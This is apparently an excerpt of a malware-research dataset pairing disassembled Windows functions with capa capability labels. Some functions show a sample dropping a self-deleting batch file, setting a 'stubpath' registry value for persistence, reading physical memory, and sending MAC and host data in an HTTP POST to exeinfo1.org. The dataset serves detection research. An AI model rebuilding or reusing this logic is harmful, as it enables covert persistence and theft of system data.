joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402079
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x20b]
mov byte [ebp - 0x20c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x107]
mov byte [ebp - 0x108], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x310]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x310]
push eax
lea eax, [ebp - 0x310]
push str._s1.bat
push eax
call fcn.00404238
add esp, 0xc
mov esi, 0x104
lea eax, [ebp - 0x108]
push esi
push eax
push ebx
call dword [0x40d974]
test eax, eax
je 0x4021a4
lea eax, [ebp - 0x108]
push esi
push eax
lea eax, [ebp - 0x108]
push eax
call dword [0x40d928]
test eax, eax
je 0x4021a4
lea eax, [ebp - 0x108]
push 0x40a9d0
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x20c]
push str.:1_r_ndel___s__r_nif_exist___s__goto_1_r_ndel__a__s
push eax
call fcn.00404238
add esp, 0x14
lea eax, [ebp - 0x310]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4021ab
lea eax, [ebp - 4]
push ebx
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.00404160
pop ecx
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4021ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x310]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402241
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022ab
push 2
push edi
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp + 8]
push edi
push eax
push 0x26
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4022ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call fcn.00404160
cmp eax, 0x26
pop ecx
je 0x4022ab
push 0x26
push edi
push dword [ebp + 0xc]
call fcn.004041e0
add esp, 0xc
pop edi
pop esi
pop ebp
ret
Function at 0x4022af
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
push edi
push esi
push 0x80
push 3
push esi
push esi
push 0x10000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402302
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x402302
lea eax, [ebp + 8]
push esi
push eax
push dword [ebp + 0xc]
call fcn.00404160
pop ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402306
xor eax, eax
jmp 0x402310
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebp
ret

Function at 0x402314
Capabilities:
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
and byte [ebp - 0x108], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x108]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x108]
push str.apple.exe
push eax
call fcn.00404a00
and byte [ebp - 0x508], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x507]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 9
push 2
stosb byte es:[edi], al
call fcn.0040101d
push eax
lea eax, [ebp - 0x508]
push eax
push dword [0x40a1b0]
call fcn.00401074
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x20006
lea eax, [ebp - 0x508]
push 0
push eax
push connect
call dword [0x40d978]
test eax, eax
pop edi
jne 0x4023de
lea eax, [ebp - 0x108]
push eax
call fcn.00404160
pop ecx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.stubpath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4023e2
xor eax, eax
leave
ret
push dword [ebp - 4]
call dword [0x40d97c]
push 1
pop eax
leave
ret

Function at 0x4026e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push str._apple.exe
push eax
call fcn.00404a00
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00402241
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push eax
push 0x40d99c
call dword [0x40d988]
test eax, eax
pop edi
je 0x40277f
lea eax, [ebp - 0x208]
push eax
call fcn.00402314
pop ecx
leave
ret
Function at 0x403391
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Print debug messages
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a0
lea eax, [ebp - 0x1a0]
push esi
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0x400
lea eax, [ebp - 0x5a0]
push 0
push eax
call fcn.004041e0
add esp, 0xc
push dword [ebp + 8]
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x40346b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
movzx ecx, byte [eax + 3]
push ecx
movzx ecx, byte [eax + 2]
push ecx
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
push ecx
push eax
lea eax, [ebp - 0x5a0]
push str._d._d._d._d
push eax
call fcn.00404238
add esp, 0x18
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
jne 0x403417
push str.socket_Error
jmp 0x40345e
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.004041e0
add esp, 0xc
mov word [ebp - 0x10], 2
push dword [ebp + 0xc]
call sub.WS2_32.dll_htons
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x5a0]
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x403469
push str.connect_Error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
jmp 0x40346b
mov eax, esi
pop esi
leave
ret

Function at 0x40346e
Capabilities:
Print debug messages
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push 0x400
lea eax, [ebp - 0x400]
push 0
push eax
call fcn.004041e0
add esp, 0xc
push 0
push dword [ebp + 0xc]
call fcn.00404160
pop ecx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.WS2_32.dll_send
cmp eax, 0xffffffff
jne 0x4034b9
push str.send_is_error
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
or eax, 0xffffffff
leave
ret
push 0
lea eax, [ebp - 0x400]
push 0x3ff
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
xor eax, eax
leave
ret
Function at 0x4034d3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1360
call fcn.004042c0
call fcn.0040120a
call fcn.004032ea
call fcn.00403322
test eax, eax
mov dword [0x40d954], 0x40a030
jne 0x403507
mov dword [0x40d954], 0x40a0b0
push ebx
lea eax, [ebp - 0x360]
push esi
push eax
push 0x104
call dword [0x40d998]
lea eax, [ebp - 0x360]
push eax
lea eax, [ebp - 0x25c]
push str._s_ver.exe
push eax
call fcn.00404238
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x25c]
push 4
push ebx
push eax
call dword [0x40d994]
call fcn.00402229
test eax, eax
jne 0x4035c6
mov esi, 0x400
lea eax, [ebp - 0x760]
push esi
push ebx
push eax
call fcn.004041e0
push esi
lea eax, [ebp - 0xb60]
push ebx
push eax
call fcn.004041e0
push esi
lea eax, [ebp - 0xf60]
push ebx
push eax
call fcn.004041e0
push esi
lea eax, [ebp - 0x1360]
push ebx
push eax
call fcn.004041e0
lea eax, [ebp - 0x760]
push eax
call fcn.00403e50
push 0x50
push str.exeinfo1.org
call fcn.00403391
lea ecx, [ebp - 0x760]
push ebx
push ecx
push eax
call fcn.0040346e
add esp, 0x48
call fcn.00403257
call fcn.00402079
jmp 0x403681
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40363f
push str.start
push dword [ebp + 0x10]
call fcn.004045f0
pop ecx
test eax, eax
pop ecx
je 0x40363f
push edi
call fcn.004032c2
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
push eax
push 0x40d99c
call fcn.00402241
lea eax, [ebp - 0x158]
push eax
call fcn.00404160
add esp, 0xc
cmp eax, 0x26
pop edi
jne 0x403635
lea eax, [ebp - 0x158]
push eax
call fcn.004024c8
pop ecx
call fcn.00403257
push 1
pop eax
jmp 0x403683
push 0x44
lea eax, [ebp - 0x54]
push ebx
push eax
call fcn.004041e0
mov esi, 0x40d99c
push str.__start
push esi
mov dword [ebp - 0x28], 1
mov word [ebp - 0x24], 5
call fcn.00404a00
add esp, 0x14
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403689
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x284]
push eax
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x403722
push dword [ebp - 4]
push 0
call dword [0x40daa0]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40372b
lea eax, [ebp - 4]
push eax
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x40371b
mov eax, dword [0x40eaa8]
mov ecx, dword [esi + 0x190]
lea edx, [ecx + eax]
cmp edx, 0x1000
jae 0x403715
push ecx
lea ecx, [esi + 0x194]
lea eax, [eax + 0x40daa8]
push ecx
push eax
call fcn.004046b0
mov eax, dword [0x40eaa8]
add esp, 0xc
add eax, dword [esi + 0x190]
mov dword [0x40eaa8], eax
mov esi, dword [esi]
test esi, esi
jne 0x4036d7
push 1
pop eax
pop esi
leave
ret
add eax, 0xf0000000
jmp 0x403727
add eax, 0xe0000000
test eax, eax
je 0x403715
xor eax, eax
jmp 0x403718
Function at 0x403987
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
push esi
push edi
push 0xb
pop ecx
mov esi, str.devicephysicalmemory
lea edi, [ebp - 0x78]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x4a]
xor ebx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x78]
push str.ntdll.dll
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 0xf0000
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], pe_overlay
mov dword [ebp - 8], ebx
mov word [ebp - 0x1c], 0x2c
mov word [ebp - 0x1a], 0x2e
mov dword [ebp - 0x30], 0x40
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.ZwOpenSection
push edi
call esi
push str.ZwMapViewOfSection
push edi
mov dword [ebp - 4], eax
call esi
push str.ZwUnmapViewOfSection
push edi
mov dword [ebp - 0x14], eax
call esi
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push 4
push eax
call dword [ebp - 4]
test eax, eax
jne 0x403ab0
push 2
push ebx
lea eax, [ebp - 0xc]
push 1
push eax
lea eax, [ebp - 0x24]
push eax
push pe_overlay
lea eax, [ebp - 8]
push ebx
push eax
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [ebp - 0x14]
test eax, eax
jne 0x403ab0
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.004037f6
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a8b
lea eax, [ebp - 4]
push eax
call fcn.00403869
mov esi, eax
pop ecx
cmp esi, ebx
jne 0x403a8b
lea eax, [ebp - 4]
push eax
call fcn.004038dc
mov esi, eax
pop ecx
cmp esi, ebx
je 0x403aa9
mov eax, dword [0x40eaa8]
push esi
push dword [ebp - 4]
lea eax, [eax + 0x40daa8]
push eax
call fcn.004046b0
add esp, 0xc
add dword [0x40eaa8], esi
push dword [ebp - 8]
push 0xffffffffffffffff
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403e50
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1614
call fcn.004042c0
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x40ad34]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x40daa4], eax
lea eax, [ebp - 0xe14]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x40401c
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x1214]
push esi
push eax
call dword [0x40daa4]
call fcn.00403689
call fcn.0040372f
call fcn.00403987
xor edi, edi
push esi
lea eax, [ebp - 0x884]
push edi
push eax
call fcn.004041e0
add esp, 0xc
xor ebx, ebx
cmp dword [0x40eaa8], edi
jbe 0x403f03
lea eax, [ebp - 0x884]
mov dword [ebp - 4], eax
movzx eax, byte [ebx + 0x40daa8]
push eax
push str._02x
push dword [ebp - 4]
call fcn.00404238
add dword [ebp - 4], 2
add esp, 0xc
inc ebx
cmp ebx, dword [0x40eaa8]
jb 0x403ede
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1614]
push esi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x44]
push edi
push eax
call fcn.004041e0
push 0x40
lea eax, [ebp - 0x84]
push edi
push eax
call fcn.004041e0
push esi
lea eax, [ebp - 0xc84]
push edi
push eax
call fcn.004041e0
lea eax, [ebp - 0xc84]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1614]
push eax
call fcn.00403d6f
push esi
lea eax, [ebp - 0x484]
push edi
push eax
call fcn.004041e0
add esp, 0x40
lea eax, [ebp - 0x484]
push eax
call fcn.00403ab5
mov esi, 0x40b050
push esi
call fcn.00404160
mov edi, eax
lea eax, [ebp - 0x484]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0xc84]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x44]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x884]
push eax
call fcn.00404160
add edi, eax
lea eax, [ebp - 0x1214]
push eax
call fcn.00404160
add esp, 0x20
lea ecx, [ebp - 0x44]
lea eax, [edi + eax + 0x1a]
push ecx
lea ecx, [ebp - 0x84]
push esi
push ecx
lea ecx, [ebp - 0x484]
push ecx
lea ecx, [ebp - 0xc84]
push ecx
lea ecx, [ebp - 0x884]
push ecx
lea ecx, [ebp - 0x1214]
push ecx
push eax
push str.POST__pro1.asp_HTTP_1.1_r_nHost:exeinfo1.org_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:_d_r_n_r_na1_sa2_sa3_sa4_sa6_s_sa7_s_r_n_r_n
push dword [ebp + 8]
call fcn.00404238
add esp, 0x28
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409096
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x423960]
jne 0x4090a0
repz ret
jmp fcn.0040e3fe

Function at 0x417b85
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x423960]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040e504
and dword [ebp - 0x14], 0
cmp dword [0x537700], 0
mov dword [ebp - 0x18], eax
jne 0x417c38
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417ce0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417ce0
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x537700], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x537704], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x537708], eax
call edi
push eax
call esi
mov dword [0x537710], eax
test eax, eax
je 0x417c38
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x53770c], eax
mov eax, dword [0x53770c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417c91
cmp dword [0x537710], ecx
je 0x417c91
push eax
call esi
push dword [0x537710]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417c91
test ebx, ebx
je 0x417c91
call edi
test eax, eax
je 0x417c88
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417c88
test byte [ebp - 8], 1
jne 0x417c91
or dword [ebp + 0x10], 0x200000
jmp 0x417cc4
mov eax, dword [0x537704]
cmp eax, dword [ebp - 0x18]
je 0x417cc4
push eax
call esi
test eax, eax
je 0x417cc4
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417cc4
mov eax, dword [0x537708]
cmp eax, dword [ebp - 0x18]
je 0x417cc4
push eax
call esi
test eax, eax
je 0x417cc4
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x537700]
call esi
test eax, eax
je 0x417ce0
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417ce2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409096
leave
ret
Function at 0x402edc
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x468008], 0x8088405
inc edx
mov dword [ebx + 0x468008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403358
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x468024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4033f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4033d0
xor eax, eax
push ebp
push 0x4033c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40340c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4033d0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x468024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x468024], ax
mov esp, ebp
pop ebp
ret

Function at 0x4040e4
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46a044], 0
je 0x404145
cmp word [0x46a218], 0xd7b2
jne 0x40410d
cmp dword [0x46a220], 0
jbe 0x40410d
mov eax, 0x46a214
call dword [0x46a230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x468070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40416c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x468034], 0
jne 0x404161
push 0
push 0x468068
push 0x468070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405e8c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405ef2
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004044d8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402ef8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405edc
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ef9
lea eax, [ebp - 0x10]
call fcn.00404268
ret

Function at 0x40b2c0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b2f9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404358
jmp 0x40b302
mov eax, ebx
mov edx, esi
call fcn.004042bc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b30c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b32d
mov al, byte [esp]
jmp 0x40b32f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b9c4
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b82c
mov eax, dword [0x469248]
cmp byte [eax], 0
je 0x40ba40
mov eax, dword [0x469064]
call fcn.00402d48
call fcn.00402bc4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.004089a0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40ba88
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40ba76
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x469014]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x46a660]
call fcn.004052f8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret